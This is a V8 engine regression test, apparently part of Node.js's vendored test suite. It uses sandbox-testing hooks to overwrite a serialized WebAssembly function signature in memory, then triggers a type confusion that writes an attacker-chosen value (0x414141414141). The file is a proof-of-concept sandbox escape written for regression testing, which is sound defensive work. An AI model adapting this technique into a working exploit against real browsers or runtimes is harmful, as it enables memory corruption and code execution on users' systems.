PR-URL: https://github.com/nodejs/node/pull/58070 Reviewed-By: Antoine du Hamel <duhamelantoine1995@gmail.com> Reviewed-By: Darshan Sen <raisinten@gmail.com> Reviewed-By: Joyee Cheung <joyeec9h3@gmail.com> Reviewed-By: Rafael Gonzaga <rafael.nunu@hotmail.com>
76 lines
2.4 KiB
JavaScript
76 lines
2.4 KiB
JavaScript
// Copyright 2024 the V8 project authors. All rights reserved.
|
|
// Use of this source code is governed by a BSD-style license that can be
|
|
// found in the LICENSE file.
|
|
//
|
|
// Flags: --sandbox-testing
|
|
|
|
d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
|
|
|
|
// Prepare corruption utilities.
|
|
const kHeapObjectTag = 1;
|
|
const kSmiTagSize = 1;
|
|
const kKindBits = 5;
|
|
const kI64 = 2;
|
|
const kRef = 0xa;
|
|
const kWasmTagObjectSerializedSignatureOffset = 0xc;
|
|
const cage_base = BigInt(Sandbox.base);
|
|
let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
|
|
function getPtr(obj) {
|
|
return Sandbox.getAddressOf(obj) + kHeapObjectTag;
|
|
}
|
|
function getField(obj, offset) {
|
|
return memory.getUint32(obj + offset - kHeapObjectTag, true);
|
|
}
|
|
function setField(obj, offset, value) {
|
|
memory.setUint32(obj + offset - kHeapObjectTag, value, true);
|
|
}
|
|
|
|
// find ByteArrayMap dynamically
|
|
let dummy_tag = new WebAssembly.Tag({parameters: ['i64'], returns: []});
|
|
let dummy_tag_ptr = getPtr(dummy_tag);
|
|
let dummy_sig_ptr = getField(dummy_tag_ptr, kWasmTagObjectSerializedSignatureOffset);
|
|
let ByteArrayMap = getField(dummy_sig_ptr, 0);
|
|
|
|
function fn(ptr, val) {
|
|
return [val, ptr];
|
|
}
|
|
|
|
let builder = new WasmModuleBuilder();
|
|
let $struct = builder.addStruct([makeField(kWasmI64, true)]);
|
|
let $sig_sl_ll = builder.addType(makeSig([kWasmI64, kWasmI64], [wasmRefType($struct), kWasmI64]));
|
|
let $sig_v_ll = builder.addType(makeSig([kWasmI64, kWasmI64], []));
|
|
let $fn = builder.addImport('import', 'fn', $sig_sl_ll);
|
|
builder.addFunction('boom', $sig_v_ll)
|
|
.exportFunc()
|
|
.addBody([
|
|
kExprLocalGet, 0,
|
|
kExprLocalGet, 1,
|
|
kExprCallFunction, $fn,
|
|
kGCPrefix, kExprStructSet, $struct, 0,
|
|
]);
|
|
|
|
let instance = builder.instantiate({import: {fn}});
|
|
let { boom } = instance.exports;
|
|
|
|
function findObject(needle, start) {
|
|
function match() {
|
|
for (let k = 0; k < needle.length; ++k) {
|
|
if (getField(start, k * 4) != needle[k]) return false;
|
|
}
|
|
return true;
|
|
}
|
|
while (!match()) start += 4;
|
|
return start;
|
|
}
|
|
|
|
let needle = [
|
|
/*map=*/ByteArrayMap, /*PodArrayBase::length=*/(5 * 4) << kSmiTagSize, /*ReturnCount=*/2, kRef | ($struct << kKindBits),
|
|
kI64, kI64, kI64,
|
|
];
|
|
// Find the serialized signature, starting at the dummy Tag object (allocated
|
|
// before the serialized sig).
|
|
let serialized_sig_ptr = findObject(needle, dummy_tag_ptr);
|
|
setField(serialized_sig_ptr, 0xc /* offset of ref */, kI64);
|
|
|
|
boom(0x414141414141n, 0x42n);
|